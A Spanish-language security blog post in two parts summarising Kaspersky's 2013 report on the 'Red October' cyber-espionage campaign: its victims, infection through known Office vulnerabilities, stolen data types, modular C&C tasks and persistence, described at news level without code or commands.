Según el mapa publicado por Kaspersky, buena parte de Europa, Asia e incluso África se ha visto afectada. Existe una manera típica de hacerse una idea del número de infectados, que es hacerse con los dominios con los que contacta el malware. Kaspersky ha controlado 6 de los 60 dominios pertenecientes a sus C&C. En dos meses han recibido 55.000 conexiones de 250 IPs diferentes, principalmente rusas, de Kazajistán, Bélgica, India... A España pertenecen menos de 5 IPs diferentes conectadas (parece que solo una perteneciente a una embajada) y dos víctimas (sistemas) diferenciadas, por tanto, la infección parece mínima. Esto se sabe porque cada conexión HTTP con el C&C (aunque fuese desde la misma IP), enviaba un ID de conexión perteneciente a cada víctima, calculado según las características de la máquina. En cualquier caso, esta información no es definitiva, puesto que recordemos que Kasperksy solo ha tenido acceso a aproximadamente 10% de los servidores de los atacantes.

Fuente: KasperskyLab. http://www.securelist.com/en/images/pictures/klblog/208194085.png

Infección

Esta es la parte más "curiosa". El principal método de infección viene por adjuntos en el email aprovechando vulnerabilidades en Office CVE-2009-3129 (Excel), CVE-2010-3333 y CVE-2012-0158 (ambas de Word). Los atacantes tomaron unos documentos previamente creados por una campaña de infección china. Modificaron el payload y los enviaron a sus víctimas. El texto de los documentos no fue personalizado. Sin embargo, los diplomáticos, embajadores y víctima en general quedaron infectados porque:

  • Abrieron un documento que probablemente no habían solicitado.
        
  • Sus Office no se encontraban parcheados contra estas vulnerabilidades.
        
  • No tomaron otras medidas que, aunque no hubiese existido parche para esas vulnerabilidades, permitieran mitigar el impacto de las vulnerabilidades


Por supuesto los antivirus no lo detectaron, pero recordemos que no es su misión alertar sobre ataques dirigidos. Simplemente no están programados para hacerlo y nunca lo conseguirán.

Después, una serie de módulos intermedios llegan a la descarga de la puerta trasera funcional, que queda residente y contiene toda la funcionalidad interesante.

Mantenimiento de la infección

Algo interesante es cómo se protegía a sí mismo de pérdidas de conexión con los centros de control. El malware se camufla como una especie de plugin para Office que se lanza cada vez que se abre un documento. Si se perdía conexión con los controles centrales, el atacante solo tenía que enviar a la víctima otro documento Office concreto especialmente manipulado. Al ser abierto por la víctima, el plugin lo procesaba, reconocía el documento y así retomaba el control, sin necesidad de "reinfección" desde el principio y pasando así mucho más desapercibido. Esperamos que en una segunda entrega, Kaspersky revele más detalles técnicos sobre el asunto.

Más información:

The "Red October" Campaign - An Advanced Cyber Espionage Network
Targeting Diplomatic and Government Agencies



Sergio de los Santos
Twitter: @ssantosv

jueves, 17 de enero de 2013

Operación octubre rojo: un malware muy "personal" (I)


Kaspersky vuelve a descubrir (en realidad lo hizo en octubre de 2012) un malware dirigido a las "altas esferas" que parece haber pasado desapercibido mucho tiempo y programado con intereses muy concretos. Surge la inmediata comparación con TheFlame, pero parece que no llega a ese nivel de sofisticación. Se ha llamado "Operación octubre rojo".

Aunque surja la comparación con TheFlame, y a la espera de más detalles técnicos cuando Kaspersky lo estudie, parece que simplemente se parece en lo robusta que es su infraestructura de centros de control (servidores) y no tanto en sus capacidades técnicas. TheFlame estaba firmado por un certificado válido de Microsoft y eso es un hito que no podrá ser superado en mucho tiempo. Sin embargo, parece que este nuevo malware sí que contiene una infraestructura de proxies, servidores y redirectores muy robusta y compleja que la asemeja con otras amenazas sofisticadas anteriores.

Descripción

Al parecer el malware ataca a instituciones gubernamentales (y embajadas, industria aerospacial y militar, centros de investigación...). En principio, está orientado al robo de información, sin grandes sorpresas técnicas: robo de documentos, registro de teclas, robo de contraseñas, de información de dispositivos alrededor (Cisco), de correos en Outlook, el histórico de los navegadores... También obtiene información de los dispositivos conectados, USB y teléfonos móviles (agenda, SMS, etc), por ejemplo.

Algunas de las extensiones que roba el malware (aparte de las típicas de Office, PDF, txt, etc) son interesantes: pgp y gpg (documentos cifrados) y las extensiones ".acid*" usadas por el software "Acid Cryptofiler". Este programa para el cifrado es el que al parecer usa la OTAN. Con estos documentos cifrados y los keyloggers, podrían obtener información altamente confidencial.

Curiosamente, aunque se supone un tipo de ataque muy dirigido, el rango de información que obtiene es muy amplio, y prácticamente al atacante le interesa todo lo que puede tener la máquina infectada, sin discriminar demasiado. Esto puede dar a entender que el objetivo a quien robar podía estar claro, pero no tanto el qué robar. Así que se podría deducir que esta información era revendida a terceros según sus necesidades, y no usadas por los propios atacantes. También que, como ha ocurrido, se trata de un ataque de "largo recorrido".

Fuente: KasperskyLab. http://www.securelist.com/en/images/pictures/klblog/208194085.png

Cómo funciona

Como cualquier malware, descarga módulos en forma de librerías y se comunica con sus centros de control (C&C). Recibía órdenes de estos C&C, en forma de tareas persistentes o no. Las no persistentes, se lanzaban una vez y la DLL responsable era inmediatamente borrada. Las tareas "persistentes" son las que esperaban eventos, tales como un teléfono que se conectase, keylogger, obtener todo el correo entrante... Las no persistentes, eran tareas que podían realizarse una vez cada cierto tiempo, como analizar la red interna, recoger información concreta del sistema, o replicarse a otros sistemas en la red.

Kaspersky ha encontrado unos 1.000 módulos diferentes, agrupados en 30 categorías (finalidad del módulo). Algunos compilados en 2007 y otros en enero de 2013. Esta es una pista para hablar de que el malware lleva cinco años en activo... pero quizás sea muy arriesgado afirmar algo así por la fecha de compilación. También se une como indicio el hecho de que algunos dominios usados para contactar estaban registrados en 2010. Esa fecha parece más realista.

La gran variedad de módulos viene explicada porque muchos estaban altamente personalizados para sus víctimas. Los atacantes programaban incluso algunos específicos para una víctima en concreto, que identificaban con un ID (enviado a sus C&C) junto con la información robada.

Esto es lo que le da un carácter diferente y "personal" al malware. Una especie de "dedicación exclusiva" a unos pocos cientos de usuarios infectados, que identificaban con sus IDs y para los que incluso programaban módulos específicos y los lanzaban en forma de tareas no persistentes.

Continuamos en una segunda entrega.

Más información:

The "Red October" Campaign - An Advanced Cyber Espionage Network Targeting Diplomatic and Government Agencies



Sergio de los Santos
Twitter: @ssantosv